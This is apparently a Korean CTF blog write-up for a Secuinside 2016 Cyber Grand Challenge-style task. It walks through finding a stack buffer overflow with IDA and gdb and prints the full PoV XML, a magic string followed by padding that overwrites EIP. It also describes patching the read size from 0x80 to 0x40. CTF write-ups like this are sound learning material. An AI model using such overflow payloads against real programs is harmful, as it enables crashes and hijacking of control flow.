문제에 대한 정보이다.
이 문제는 CGC이며 https://github.com/CyberGrandChallenge 에서 정보를 얻을 수 있었다.
CYKOR_00001은 cykor_00001파일에 대한 취약점을 PoV로 만들어 서버에 보내는 문제이다.
CYKOR_00001_patch는 cykor_00001파일에 대한 취약점을 패치한 파일을 서버에 보내는 문제이다.
IDA를 통해 분석한 결과, What is your message?다음에 H4PPY_S3CUINSID3라는 문자열이 나오는지 체크 한 후
+ Are you serious? 다음에 문자열을 입력 받는다.
조건에 맞춰 긴 문자열을 입력할 시 다음과 같은 segmentation fault가 일어남을 확인하였고, gdb를 통해 디버깅한 결과 eip가 덮어져 bof취약점이 있음을 확인하였다.
이를 토대로 만든 PoV파일은 다음과 같다.
<!-- CYKOR_00001.PoV --> <?xml version="1.0" standalone="no" ?> <!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd"> <pov> <cbid>CYKOR_00001</cbid> <replay> <read echo="yes"><delim>\x0a</delim><match><data>What is your message?\x0a</data></match></read> <write echo="yes"><data>H4PPY_S3CUINSID3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGG111122223333444455556666777788889900001111\x0a</data> </write> <read><length>1</length></read> </replay> </pov>
이를 서버에 전송하여 CYKOR_00001의 flag를 얻었다.
위에서 찾은 bof발생 지점이 0x80사이즈 만큼 가져오기에 일어나는데 이를 0x40로 바이너리 패치하여 서버에 보내주면 CYKOR_00002_patch의 flag를 얻을 수 있다.
현재 서버가 닫혀서 사진을 구할 수가 없다.
'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글
Secuinside 2016 후기 (0) | 2016.07.13 |
---|---|
[Web] trendyweb - 100pts (0) | 2016.07.13 |